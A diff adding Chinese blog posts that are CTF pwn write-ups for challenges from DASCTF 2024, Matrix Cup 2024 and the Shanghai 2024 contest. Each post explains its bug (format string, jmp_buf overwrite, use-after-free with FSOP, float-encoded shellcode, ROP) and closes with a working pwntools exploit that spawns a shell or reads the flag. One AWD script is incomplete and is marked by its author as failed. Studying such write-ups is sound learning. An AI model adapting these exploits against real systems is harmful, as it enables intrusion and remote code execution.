diff --git a/source/_posts/dasjuly2024/SpringBoard.md b/source/_posts/dasjuly2024/SpringBoard.md
new file mode 100644
index 0000000..f20a746
--- /dev/null
+++ b/source/_posts/dasjuly2024/SpringBoard.md
@@ -0,0 +1,74 @@
+---
+title: DASCTF 2024暑期挑战赛 - SpringBoard
+date: 2024/7/28 14:10:00
+updated: 2024/7/28 14:10:00
+tags:
+ - noob
+excerpt: 通过格式化字符串漏洞,利用libc泄露和oneGadget实现远程代码执行。
+---
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x64 |
+|RELRO|Partial|
+|Canary|off |
+|NX |on |
+|PIE |off |
+|strip |no |
+|libc |2.23-0ubuntu11.3|
+
+## 解题思路
+
+{% note green fa-heart %}
+感谢 *N0wayBack* 的脚本用以复现
+{% endnote %}
+
+简单的格式化字符串,可以执行5次漏洞,直接把函数返回地址写成oneGadget就可以
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './SpringBoard'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh)
+ else:
+ sh = remote('', 9999)
+ libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
+
+ # payload 1, leak libc and stack
+ sh.sendlineafter(b'keyword', b'FLAG%6$pFLAG%9$p')
+ sh.recvuntil(b'FLAG')
+ stack = int(sh.recv(14), 16) - 0xd8
+ success(GOLD_TEXT(f'Leak retStackAddr: {stack:#x}'))
+ sh.recvuntil(b'FLAG')
+ libcBase = int(sh.recv(14), 16) - 240 - libc.symbols['__libc_start_main']
+ success(GOLD_TEXT(f'Leak libcBase: {libcBase:#x}'))
+
+ # payload 2-5, write one gadget on ret addr
+ oneGadget = 0xf1247
+ ogg = libcBase + oneGadget
+ sh.sendlineafter(b'keyword', f'%{stack & 0xffff}c%11$hn'.encode())
+ sh.sendlineafter(b'keyword', f'%{ogg & 0xffff}c%37$hn'.encode())
+ sh.sendlineafter(b'keyword', f'%{(stack + 2) & 0xffff}c%11$hn'.encode())
+ sh.sendlineafter(b'keyword', f'%{(ogg >> 16) & 0xff}c%37$hhn'.encode())
+
+ sh.clean()
+ sh.interactive()
+```
+
+{% folding purple::... %}
+~~非预期秒了~~
+
+
+{% endfolding %}
+
diff --git a/source/_posts/dasjuly2024/vhttp.md b/source/_posts/dasjuly2024/vhttp.md
new file mode 100644
index 0000000..5e6780b
--- /dev/null
+++ b/source/_posts/dasjuly2024/vhttp.md
@@ -0,0 +1,125 @@
+---
+title: DASCTF 2024暑期挑战赛 - vhttp
+date: 2024/7/25 23:05:00
+updated: 2024/7/25 23:05:00
+tags:
+ - httpd
+ - setjmp
+thumbnail: /assets/dasjuly2024/flagOnStack.png
+excerpt: 通过栈溢出和jmp_buf利用成功读取flag.txt。
+---
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x64 |
+|RELRO |Full |
+|Canary|off |
+|NX |on |
+|PIE |off |
+|strip |yes |
+|libc |2.31-0ubuntu9.12|
+
+## 解题思路
+
+程序实现了一个简单的http服务器,没有路径穿越符漏洞;不能直接打开目录下的flag.txt,
+是由`strstr`拦截的;不能使用`%2F`这样的转义字符串,服务器不支持。那就逆一下程序,
+对于输入的三元组和键值对来说,都没有什么bug。但是主函数里只取用了`content-length`这一个标头,
+跟到解析请求资源的函数里,发现程序会按`content-length`读入这么多的字节数,
+并且没有做限制。观察栈上结构,在输入的`buf`之上是用于`longjmp`的`jmp_buf`,
+触发条件也有,因此尝试覆写之。程序通过特定字符串的判断,给了1次读取栈上内容的机会,
+也给了`longjmp`的机会。
+
+这道题采用了`fread`,不同于`read`,`fread`只有读取指定的长度后才会停止,
+不像`read`只需要`send`结束就可以结束输入。那么就出现了一个问题:
+`jmp_buf`的结构中RBP、RSP、RIP是受`fs:[0x30]`保护的,要想读取它们来解密`fs:[0x30]`就不能覆盖,
+但是为了利用这个结构体却不能覆盖。难道要打rop?程序是没有返回的!
+任何结果都是直接`exit`的。那么在栈上查找其他数据,发现还有一个`jmp_buf`:
+
+```c
+struct jmp_buf {
+ size_t rbx;
+ size_t rbp;
+ size_t r12;
+ size_t r13;
+ size_t r14;
+ size_t r15;
+ size_t rsp;
+ size_t rip;
+ ...
+};
+```
+
+![one more jmp_buf](/assets/dasjuly2024/oneMoreJmpbuf.png)
+
+而这个`jmp_buf`是由程序使用了pthread库后创建线程带来的,其中的RBP是0,
+那么RBP的位置可以直接获得`guard`(`fs:[0x30]`)的值,还可以获得一个主线程的栈地址。为了读取`flag.txt`,
+我们需要想方设法在栈上留一个`&'flag.txt'`,三元组是保存在`bss`上的,content是保存在子线程的栈上的,
+而这个栈帧的值我们是不知道的,只有标头键值对中的最后一组会留在主线程的栈上。
+那么只要最后写一个`flag.txt`的标头就可以做到,然后设置好RBP、RSP,将RIP设置为`0x401ec7`,
+就可以让程序读取`flag.txt`并打印flag。
+
+![flag on stack](/assets/dasjuly2024/flagOnStack.png)
+{% note tip fa-circle-info %}
+温馨提示:与上图不是一个进程
+{% endnote %}
+
+![jump to ...](/assets/dasjuly2024/jumpto.png)
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+context.arch = 'amd64'
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './vhttp'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh, 'b *0x401dd1')
+ else:
+ sh = remote('node5.buuoj.cn', 27536)
+ elf = ELF(EXE)
+
+ ADD_LINE = lambda s, cont: s + cont + '\r\n'
+
+ base = ADD_LINE('', 'GET / HTTP/1.0')
+ base = ADD_LINE(base, 'content-length: {}')
+ base = ADD_LINE(base, 'flag.txt: 0')
+ base = ADD_LINE(base, '')
+
+ toleak = base.format(512 + 0x100 + 8).encode()
+ sh.send(toleak)
+
+ toleak = b'\r\nuser=newbew'.ljust(512 + 0x100) + b'LEAK PTR'
+ sh.send(toleak) # leak the jmp_buf from pthread
+ sh.recvuntil(b'LEAK PTR')
+
+ encrypted = sh.recv(8)
+ stack = u64(sh.recv(6) + b'\0\0')
+
+ guard = 0
+ PTR_DEMANGLE = lambda reg: ((reg >> 17) | ((reg & 0x1ffff) << (64 - 17))) ^ guard
+ PTR_MANGLE = lambda reg: (((reg ^ guard) & 0x7fffffffffff) << 17) \
+ | (((reg ^ guard) & 0xffff800000000000) >> 64 - 17)
+
+ guard = PTR_DEMANGLE(u64(encrypted))
+ success(f'Leak ptr guard: {guard:#x}')
+ success(GOLD_TEXT(f'Leak stack: {stack:#x}'))
+
+ rbp = stack - 0xe + 0xe0 # now rbp points to &'flag.txt'
+ rbp += 0x3a0 # now rbp is "resolved file path"
+ tojump = b'&pass=v3rdant'.ljust(0x200) + p64(0) + p64(PTR_MANGLE(rbp)) + \
+ p64(0) * 4 + p64(PTR_MANGLE(rbp - 0x3e0)) + p64(PTR_MANGLE(0x401ec7))
+ tojump = tojump.ljust(0x308)
+ sh.send(tojump)
+
+ sh.recvuntil(b'DASCTF{')
+ flag = b'DASCTF{' + sh.recvuntil(b'}')
+ success(flag.decode())
+```
diff --git a/source/_posts/matrix2024/NoteManager.md b/source/_posts/matrix2024/NoteManager.md
new file mode 100644
index 0000000..d3f0e4b
--- /dev/null
+++ b/source/_posts/matrix2024/NoteManager.md
@@ -0,0 +1,171 @@
+---
+title: 矩阵杯2024 - NoteManager
+date: 2024/7/27 16:30:00
+updated: 2024/7/27 16:30:00
+tags:
+ - linked list
+ - House of Apple 2
+ - libc2.35
+thumbnail: /assets/matrix2024/notedel.png
+excerpt: 通过链表的UAF漏洞,利用哈希碰撞和字符串长度差异,成功泄露libc和heap地址并获得shell。
+---
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x64 |
+|RELRO |Full |
+|Canary|on |
+|NX |on |
+|PIE |on |
+|strip |yes |
+|libc |2.35-0ubuntu3.7|
+
+## 解题思路
+
+经典菜单题,但是有一个头节点作为“全局变量”,使用链表来存放各个节点。
+判断两个节点是否相同有2个方法:比较哈希值和字符串内容。审计代码不难发现,
+在删除节点时如果存在两个相同节点,就能产生uaf(以下配图暂时忽略哈希机制)
+
+![note delete](/assets/matrix2024/notedel.png)
+
+除了在新增时使用哈希和`strcmp`同时判断,其余操作只判断哈希是否相同,
+那么如何找到一个哈希相同,而`strcmp`也相同的两个字符串呢?
+
+> 一开始我的想法是哈希碰撞,爆了一晚上没爆出来,早上起来想到肯定不是这么做的
+
+再次审计代码,发现有漏洞可循:
+
+```c
+...
+ // 读入title时长度是原长
+ pcVar2 = fgets(title,0x100,stdin);
+...
+ // 计算哈希时长度是原长
+ hasher = hash(title);
+ for (cnote = *gnote; cnote != NULL; cnote = cnote->prev) {
+ // 判断strcmp时用的是原长
+ if ((cnote->hash == hasher) && (iVar1 = strcmp(cnote->title,title), iVar1 == 0)) {
+...
+ // 但是做字符串拷贝的时候只取了0x1f长
+ strncpy((char *)note,title,0x1f);
+...
+```
+
+由此可以得知,只要输入长度超过31的字符串,那么输入时就不会被判为相同,
+同时它们的哈希值也是一样的,那么我们就能构造出上图的条件做uaf了
+
+有了uaf就可以考虑怎么泄露了。首先输入的内容长度可以达到0x1000,
+而稍后使用的`strdup`实际上会调用`malloc`产生chunk,size就是输入内容的长度,
+因此可以很轻松地得到libc和heap基地址
+
+最后起一个shell,用House of Apple 2打FSOP即可
+
+> 一开始用onegadget,结果试了一圈都不行
+
+edit时使用`strcpy`,所以需要一个`\0`一个`\0`地写
+
+此外在造成uaf利用后,无法再写入2+个堆块,而想要利用uaf则需要2个堆块,
+因此应一口气分配好相关堆块,最后利用uaf。以下是图示
+
+![note add warning](/assets/matrix2024/noteadd.png)
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './NoteManager'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh)
+ else:
+ sh = remote('', 9999)
+ libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6')
+ elf = ELF(EXE)
+
+ def addn(title:bytes, cont:bytes):
+ sh.sendlineafter(b'Choose', b'1')
+ sh.sendlineafter(b'title', title)
+ sh.sendlineafter(b'content', cont)
+
+ def deln(title:bytes):
+ sh.sendlineafter(b'Choose', b'2')
+ sh.sendlineafter(b'title', title)
+
+ def edit(title:bytes, cont:bytes):
+ sh.sendlineafter(b'Choose', b'3')
+ sh.sendlineafter(b'title', title)
+ sh.sendlineafter(b'content', cont)
+
+ def show() -> bytes:
+ sh.sendlineafter(b'Choose', b'4')
+ sh.recvuntil(b'option: ')
+ return sh.recvuntil(b'NoteManager', True)
+
+ def eout():
+ sh.sendlineafter(b'Choose', b'5')
+
+ PROTECT_PTR = lambda pos, ptr: (pos >> 12) ^ ptr
+
+ addn(b'root', b'!')
+ addn(b'fake file', b't'*0x100)
+ addn(b'0'*33, b'x'*0x18)
+ addn(b'0'*33, b'x'*0x500)
+ addn(b'1'*33, b'x'*0x28) # guard chunk to prevent 0x500-size chunk being merged
+ addn(b'1'*33, b'x')
+ addn(b'head', b'head')
+ deln(b'0'*33)
+ val = show()
+
+ # look for 4rd Title
+ idx = val.find(b'Title: ', 5)
+ idx = val.find(b'Title: ', idx + 5)
+ idx = val.find(b'Title: ', idx + 5)
+ heapBase = u64(val[idx + 7:idx + 12] + b'\0\0\0') << 12
+ success(GOLD_TEXT(f'Leak heapBase: {hex(heapBase)}'))
+
+ arena = 0x21ac80
+ idx = val.find(b'Content: ', idx)
+ mainArena = u64(val[idx + 9:idx + 15] + b'\0\0') - 0x60 # sub unsorted bin offset
+ libcBase = mainArena - arena
+ libc.address = libcBase
+ oneGadget = libcBase + 0x10d9c2
+ success(GOLD_TEXT(f'Leak libcBase: {hex(libcBase)}'))
+
+ def write0(content:bytes, offset:int):
+ for leng, b in enumerate(content):
+ if b == 0:
+ break
+ for i in range(7, leng, -1):
+ edit(b'fake file', b'0'*(offset + i) + b'\0')
+ edit(b'fake file', b'0'*offset + content)
+
+ write0(p64(heapBase + 0x360), 0xe0)
+ write0(p64(libc.symbols['_IO_wfile_jumps']), 0xd8)
+ write0(p64(0), 0xc0)
+ write0(p64(heapBase + 0x360), 0xa0)
+ write0(p64(libc.symbols['system']), 0x68)
+ write0(p64(0), 0x30)
+ write0(p64(1), 0x28)
+ write0(p64(0), 0x20)
+ write0(p64(0), 0x18)
+ write0(b' sh;\0', 0)
+
+ deln(b'root')
+ deln(b'1'*33)
+ edit(b'1'*33, p64(PROTECT_PTR(heapBase + 0x9c0, libc.symbols['_IO_list_all'])))
+ addn(b'adjusting', b'x')
+ addn(b'more adjust', p64(heapBase + 0x360))
+
+ eout()
+ sh.clean()
+ sh.interactive()
+```
+
diff --git a/source/_posts/matrix2024/fshell.md b/source/_posts/matrix2024/fshell.md
new file mode 100644
index 0000000..2e4766b
--- /dev/null
+++ b/source/_posts/matrix2024/fshell.md
@@ -0,0 +1,149 @@
+---
+title: 矩阵杯2024 - fshell
+date: 2024/7/25 17:19:00
+updated: 2024/7/25 17:19:00
+tags:
+ - float number
+ - shellcode
+thumbnail: /assets/matrix2024/imhex.png
+excerpt: 通过暴力打表获取浮点数对应的输入,利用mprotect实现shellcode执行,成功获取shell。
+---
+
+{% note %}
+你知道 IEEE754 吗
+{% endnote %}
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x32 |
+|RELRO|Partial|
+|Canary|off |
+|NX |on |
+|PIE |off |
+|strip |yes |
+|libc |static|
+
+## 解题思路
+
+和刚打完的上海赛差不多
+
+程序里貌似带了花指令,去花后是菜单题。要做其他操作,需要先login
+
+> 32位程序静态编译还去符号,好多函数一眼都看不出来
+
+login中需要输入用户名和密码,就是2个`strcmp`的事情,用户是`user`,
+密码在输入后做凯撒密码,偏移为9,需要注意的是程序初始化时加密了`password`,偏移是8
+
+回到主菜单,发现在输入6时触发了`mprotect`,再看decrypt的语句下面还有一串奇怪的逻辑,跟一下
+
+```c
+...
+ if ((char)susch == '\0') {
+ *(int *)((int)piVar1 + -0x10) = (offset % 0xc + 5) * 0xc;
+ *(undefined4 *)((int)piVar1 + -0x14) = 0x804a5a1;
+ sus();
+ }
+ ...
+ void sus(int offset) {
+ ...
+ while ((i < 0x16 && (scan != 0))) {
+ scan = scanf("%d",&val);
+ calc = (float)((long double)val / (long double)offset);
+ if (*(byte *)((int)&calc + 3) < 0x4b) break;
+ *(float *)(FUN_08105300 + i * 4) = calc;
+ i += 1;
+ }
+ FUN_08105300();
+...
+}
+```
+
+先回到`main`的逻辑上,输入3输入`offset`,进入`sus`时将`(offset % 0xc + 5) * 0xc`作为参数,
+即 **60** ;然后`scanf("%20s", buf)`通过输入20个字符可以触发off-by-null覆写 `susch` 为0,
+进入`sus`函数;但是函数`FUN_08105300`在bss上,不可执行,而通过输入6可以mprotect bss为可执行
+
+可以看到`sus`又是除法写shellcode,考虑到正推准确性不足,直接打表
+
+```c tab.c
+// gcc -o tab -m32 tab.c
+#include
+
+int main(void) {
+ int tmp;
+ for (int i = 0; i < 4096; i++) {
+ char file[20];
+ snprintf(file, 20, "data/table%04d", i);
+ FILE *tab = fopen(file, "wb");
+ for (int j = 0; j < 1048576; j++) {
+ long double x = (long double)((unsigned int)(i << 20) | j)/(long double)60;
+ *(float *)&tmp = (float)x;
+ fwrite(&tmp, 1, 4, tab);
+ }
+ fclose(tab);
+ }
+}
+// mkdir data && ./tab
+// cd data && cat * > ../table && cd .. && rm -rf data
+```
+
+`sus`中还要求输入的shellcode每4个字节中的最后一个字节需要**大于**等于0x46
+
+然后放到ImHex里面爆搜找shellcode,将需要的shellcode的地址除以4(shellcode与4对齐)
+便是随后需要输入的数字
+
+![imhex](/assets/matrix2024/imhex.png)
+
+先看一眼进入函数时的寄存器布局
+
+![regs](/assets/matrix2024/regs.png)
+
+原地构造read再把`execve("/bin/sh", 0, 0)`写上去比较好
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './fshell'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh, 'b *0x804a209\nc')
+ else:
+ sh = remote('pwn-89e38f258e.challenge.xctf.org.cn', 9999, ssl=True)
+ elf = ELF(EXE)
+
+ # login first
+ sh.sendlineafter(b'@@', b'1')
+ sh.sendlineafter(b'username', b'user')
+ sh.sendlineafter(b'password', b'ozrrvnqc')
+
+ # mprotect to make bss executable
+ sh.sendlineafter(b'@@', b'6')
+
+ # decrypt
+ sh.sendlineafter(b'@@', b'3')
+ sh.sendlineafter(b'offset', b'0')
+ sh.sendlineafter(b'string', b'0'*20) # overflow: off-by-null, trigger sus
+
+ # read(0, 0x8105300, 0x50)
+ nums = [0x7B33AA88 // 4, # push eax; push 0x3; dec ebx
+ 0xC363B208 // 4, # pop eax; push 0x50; dec ebx
+ 0xD073C400 // 4, # pop edx; pop ecx; pop esi; dec ebx
+ 0x7863B7A8 // 4, # pop esi; push 0; dec ebx
+ 0xF1810A00 // 4, # pop ebx; int 0x80; dec ebx
+ 0] # exit number input
+ for num in nums:
+ sh.sendline(str(num).encode())
+ sleep(0.5) # wait for shellcode read
+ sh.sendline(b'0'*19 + asm(shellcraft.sh()))
+
+ sh.clean()
+ sh.interactive()
+```
diff --git a/source/_posts/shanghai2024/awd.md b/source/_posts/shanghai2024/awd.md
new file mode 100644
index 0000000..09d042f
--- /dev/null
+++ b/source/_posts/shanghai2024/awd.md
@@ -0,0 +1,86 @@
+---
+title: 磐石行动高校赛2024 - AWD
+date: 2024/7/25 16:39:00
+updated: 2024/7/25 16:39:00
+tags:
+ - awd
+thumbnail: /images/shanghai2024awd.jpg
+excerpt: 首次线下参赛未获分数但获得保底三等奖,揭示了靶机漏洞及利用技巧。
+---
+
+第一次线下参加awd比赛,手忙脚乱的,一分也没拿,最后吃了保底三等奖:(
+
+{% notel green fa-circle-info 网上不会说的背景信息 %}
+1. 靶机分为4台,分别有4个服务,2web,2pwn,有独立ip
+2. 不给密码给私钥,需要通过私钥连靶机,由于ssh对安全要求高,需要将密钥权限设为 **0400**
+3. 给的靶机内核极老,是3.10还是3.15
+4. 系统里没有挂载procfs,所以ps是看不了的
+5. patch脚本要熟练,对手不会时间给你看题,特别是web
+{% endnotel %}
+
+## 第一题
+
+找到2个洞:`scanf`溢出写和`snprintf`格式化字符串漏洞
+
+![scanf](/assets/shanghai2024/0pwn1.png)
+![snprintf](/assets/shanghai2024/0pwn2.png)
+
+{% folding cyan::个人的失败脚本 %}
+本地打通了,结果远程打不通
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './0pwn'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh)
+ else:
+ sh = remote('10.103.5.4', 8888)
+ libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6')
+ elf = ELF(EXE)
+
+ sh.sendlineafter(b'$', b'Init')
+ sh.sendlineafter(b'Size', str(0x40).encode())
+ for i in range(0x40):
+ sh.sendlineafter(b'char', b'|')
+ sh.sendlineafter(b'weight', b'1')
+
+ def fmt_attack(fmt:bytes):
+ sh.sendlineafter(b'$', b'Encode')
+ sh.sendlineafter(b'length', str(0xa0).encode())
+ sh.sendlineafter(b'Input', '|'.join(fmt).encode())
+
+ fmt_attack(f'%{0x50 + 5}$p' + '0'*0x30)
+
+ fmt_attack(f'%{1}$p')
+ sh.recvuntil(b'characters:\n')
+ dest = int(sh.recvline(), 16) & 0xffffffffff00
+ info(hex(dest))
+
+ fmt_attack(f'%{0x5d + 5}$hhn')
+ fmt_attack(f'%{0xc0}c%{dest_arg}$hhn')
+ fmt_attack(f'%c%{0x5d + 5}$hhn')
+ fmt_attack(f'%{0x52}c%{dest_arg}$hhn')
+ fmt_attack(f'%2c%{0x5d + 5}$hhn')
+ fmt_attack(f'%{0x40}c%{dest_arg}$hn')
+ fmt_attack(f'%4c%{0x5d + 5}$hhn')
+ fmt_attack(f'%{dest_arg}$hn')
+ fmt_attack(f'%{(dest - stack) // 8 + 0x57}$s')
+
+ sh.interactive()
+```
+{% endfolding %}
+
+## 第二题
+
+也找到2个洞:`add`没有`\0`截断导致的地址泄露和`change`中的堆块越界写
+
+![add](/assets/shanghai2024/1pwn1.png)
+![change](/assets/shanghai2024/1pwn2.png)
+
diff --git a/source/_posts/shanghai2024/box.md b/source/_posts/shanghai2024/box.md
new file mode 100644
index 0000000..230a522
--- /dev/null
+++ b/source/_posts/shanghai2024/box.md
@@ -0,0 +1,73 @@
+---
+title: 磐石行动高校赛2024 初赛 - 推箱子
+date: 2024/7/25 11:17:00
+updated: 2024/7/25 11:17:00
+tags:
+ - noob
+excerpt: 通过推箱子小游戏引发缓冲区溢出,利用ROP攻击获取shell。
+---
+
+{% note %}
+小明写了一个推箱子小游戏,但有一点小问题。
+{% endnote %}
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x64 |
+|RELRO|Partial|
+|Canary|off |
+|NX |on |
+|PIE |off |
+|strip |no |
+|libc |2.27-3ubuntu1.6|
+
+## 解题思路
+
+简单的推箱子游戏,要求把箱子推到指定位置,完成后可以输入数据。
+输入的长度的执行步骤的次数,可以通过 sw 这样的无效动作来刷高次数,从而引发缓冲区溢出,
+打常规rop即可。
+
+## EXPLOIT
+
+```python
+from pwn import *
+context.terminal = ['tmux','splitw','-h']
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './game'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh)
+ else:
+ sh = remote('222.67.132.186', 21956)
+ libc = ELF('/home/Rocket/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
+ elf = ELF(EXE)
+
+ def genKey(leng:int) -> bytes:
+ key = 'ddwwwwssdwwssassdwwwsssdww' # a right path to push boxes
+ extend = key[:-2] + 'sw' * ((leng - len(key)) // 2) + key[-1]
+ return extend.encode()
+
+ gadgets = ROP(elf)
+ ret = gadgets.ret.address
+ rdi = gadgets.rdi.address
+ sh.sendafter(b'move', genKey(0x5a0))
+ sh.sendafter(b'name:', b'0'*0x578 + p64(rdi) + p64(elf.got['puts']) +
+ p64(elf.plt['puts']) + p64(elf.symbols['main']))
+
+ putsLibc = u64(sh.recvline()[:6] + b'\0\0')
+ libc.address = putsLibc - libc.symbols['puts']
+ success(GOLD_TEXT(f'Leak libcBase: {libc.address:#x}'))
+
+ sh.sendafter(b'move', genKey(0x5a0))
+ sh.sendafter(b'name:', b'0'*0x578 + p64(rdi) + p64(next(libc.search(b'/bin/sh'))) +
+ p64(ret) + p64(libc.symbols['system']))
+
+ sh.clean()
+ sh.interactive()
+```
diff --git a/source/_posts/shanghai2024/scflaot.md b/source/_posts/shanghai2024/scflaot.md
new file mode 100644
index 0000000..1132636
--- /dev/null
+++ b/source/_posts/shanghai2024/scflaot.md
@@ -0,0 +1,137 @@
+---
+title: 磐石行动高校赛2024 初赛 - scflaot
+date: 2024/7/25 11:42:00
+updated: 2024/7/25 11:42:00
+tags:
+ - float number
+ - shellcode
+thumbnail: /assets/shanghai2024/table.png
+excerpt: 通过暴力打表获取浮点数对应的输入,利用可用的`writev`和`openat`实现shellcode执行,最终获取flag。
+---
+
+{% note %}
+你是否晓得你的幸运数字呢
+{% endnote %}
+
+~~float, 肯定是没打对~~
+
+## 文件属性
+
+|属性 |值 |
+|------|------|
+|Arch |x64 |
+|RELRO |Full |
+|Canary|on |
+|NX |on |
+|PIE |on |
+|strip |yes |
+|libc |2.23-0ubuntu3|
+
+## seccomp rules
+
+
+
+## 解题思路
+
+没禁`writev`和`openat`,可以打这俩
+
+程序每次读入一个int,然后将其除以2024后放入shellcode区。
+共读取0x1000次,并跳转到`0x603ff8`执行,这意味着我们还需要跳回前面
+
+一开始考虑将shellcode乘以2024再输入,结果发现这样做数据完全不准,直接暴力打表
+
+```c tab.c
+// gcc -O2 tab.c && a.out
+#include
+
+int main(void) {
+ FILE *tab = fopen("table", "wb");
+ int tmp;
+ for (int i = 0; i < 4096; i++) {
+ for (int j = 0; j < 1048576; j++) {
+ *(float *)&tmp = (float)((unsigned int)(i << 20) | j) / 2024.0f;
+ fwrite(&tmp, 1, 4, tab);
+ }
+ fflush(tab);
+ }
+}
+```
+
+这样一来,当输入数字为`idx`时,通过访问文件中的`idx * 4:idx * 4 + 4`可以获知最后放入
+shellcode 区的真正数字。然后再准备shellcode,转换为16进制后放到imhex里面爆搜,
+就可以根据地址反推输入的数字
+
+![brute force](/assets/shanghai2024/table.png)
+
+书签上对应的指令与以下脚本中的地址一一对应
+
+图中指令:使rdx变为0x600000,然后跳转过去,再执行一次read,读入任意shellcode
+
+## EXPLOIT
+
+```python
+from pwn import *
+from rich.progress import track
+context.terminal = ['tmux','splitw','-h']
+context.arch = 'amd64'
+GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
+EXE = './main'
+
+def payload(lo:int):
+ global sh
+ if lo:
+ sh = process(EXE)
+ if lo & 2:
+ gdb.attach(sh)
+ else:
+ sh = remote('222.67.132.186', 24026)
+
+ sh.sendlineafter(b'input', b'1')
+ sh.recvuntil(b'number') # get into code_input
+
+ table = {0xffe: 0xcfbad200 // 4, 0xfff: 0x381598 // 4,
+ 0: 0x6ddbcc00 // 4, 1: 0x1070044 // 4}
+ for i in track(range(0x1000), 'sending ints'):
+ sh.sendline(str(table.get(i, 0)).encode())
+
+ sh.sendlineafter(b'input', b'2')
+ sleep(0.5)
+ code = '''
+ /* openat(0, "/flag", 0, 0) */
+ mov rbx, 0x67616c662f
+ push rbx
+ push rsp
+ pop rsi
+ xor edi, edi
+ xor r10, r10
+ xor edx, edx
+ push 0x101
+ pop rax
+ syscall
+
+ /* read(rax, 0x601000, 0x50) */
+ push rax
+ pop rdi
+ xor eax, eax
+ mov rsi, 0x601000
+ mov rdx, 0x50
+ syscall
+
+ /* writev(1, &[0x601000, rax], 1) */
+ push 1
+ pop rdi
+ push 0x1 /* iov size */
+ pop rdx
+ push rax
+ push rsi
+ mov rsi, rsp
+ push 0x14
+ pop rax
+ syscall
+ '''
+ sh.sendline(b'0'*7 + asm(code))
+
+ sh.recvuntil(b'flag{')
+ flag = b'flag{' + sh.recvuntil(b'}')
+ success(f'Flag is: {flag.decode()}')
+```
diff --git a/source/assets/dasjuly2024/flagOnStack.png b/source/assets/dasjuly2024/flagOnStack.png
new file mode 100644
index 0000000..5e6b942
Binary files /dev/null and b/source/assets/dasjuly2024/flagOnStack.png differ
diff --git a/source/assets/dasjuly2024/jumpto.png b/source/assets/dasjuly2024/jumpto.png
new file mode 100644
index 0000000..6e5f998
Binary files /dev/null and b/source/assets/dasjuly2024/jumpto.png differ
diff --git a/source/assets/dasjuly2024/oneMoreJmpbuf.png b/source/assets/dasjuly2024/oneMoreJmpbuf.png
new file mode 100644
index 0000000..384b03a
Binary files /dev/null and b/source/assets/dasjuly2024/oneMoreJmpbuf.png differ
diff --git a/source/assets/dasjuly2024/unexpected.png b/source/assets/dasjuly2024/unexpected.png
new file mode 100644
index 0000000..7493dfc
Binary files /dev/null and b/source/assets/dasjuly2024/unexpected.png differ
diff --git a/source/assets/matrix2024/imhex.png b/source/assets/matrix2024/imhex.png
new file mode 100644
index 0000000..12988ae
Binary files /dev/null and b/source/assets/matrix2024/imhex.png differ
diff --git a/source/assets/matrix2024/noteadd.png b/source/assets/matrix2024/noteadd.png
new file mode 100644
index 0000000..40c7015
Binary files /dev/null and b/source/assets/matrix2024/noteadd.png differ
diff --git a/source/assets/matrix2024/notedel.png b/source/assets/matrix2024/notedel.png
new file mode 100644
index 0000000..3f3c52e
Binary files /dev/null and b/source/assets/matrix2024/notedel.png differ
diff --git a/source/assets/matrix2024/regs.png b/source/assets/matrix2024/regs.png
new file mode 100644
index 0000000..181cc5b
Binary files /dev/null and b/source/assets/matrix2024/regs.png differ
diff --git a/source/assets/shanghai2024/0pwn1.png b/source/assets/shanghai2024/0pwn1.png
new file mode 100644
index 0000000..bda5e24
Binary files /dev/null and b/source/assets/shanghai2024/0pwn1.png differ
diff --git a/source/assets/shanghai2024/0pwn2.png b/source/assets/shanghai2024/0pwn2.png
new file mode 100644
index 0000000..319d568
Binary files /dev/null and b/source/assets/shanghai2024/0pwn2.png differ
diff --git a/source/assets/shanghai2024/1pwn1.png b/source/assets/shanghai2024/1pwn1.png
new file mode 100644
index 0000000..8adce93
Binary files /dev/null and b/source/assets/shanghai2024/1pwn1.png differ
diff --git a/source/assets/shanghai2024/1pwn2.png b/source/assets/shanghai2024/1pwn2.png
new file mode 100644
index 0000000..63f9b05
Binary files /dev/null and b/source/assets/shanghai2024/1pwn2.png differ
diff --git a/source/assets/shanghai2024/seccomp.png b/source/assets/shanghai2024/seccomp.png
new file mode 100644
index 0000000..a4be50d
Binary files /dev/null and b/source/assets/shanghai2024/seccomp.png differ
diff --git a/source/assets/shanghai2024/table.png b/source/assets/shanghai2024/table.png
new file mode 100644
index 0000000..049bbf7
Binary files /dev/null and b/source/assets/shanghai2024/table.png differ
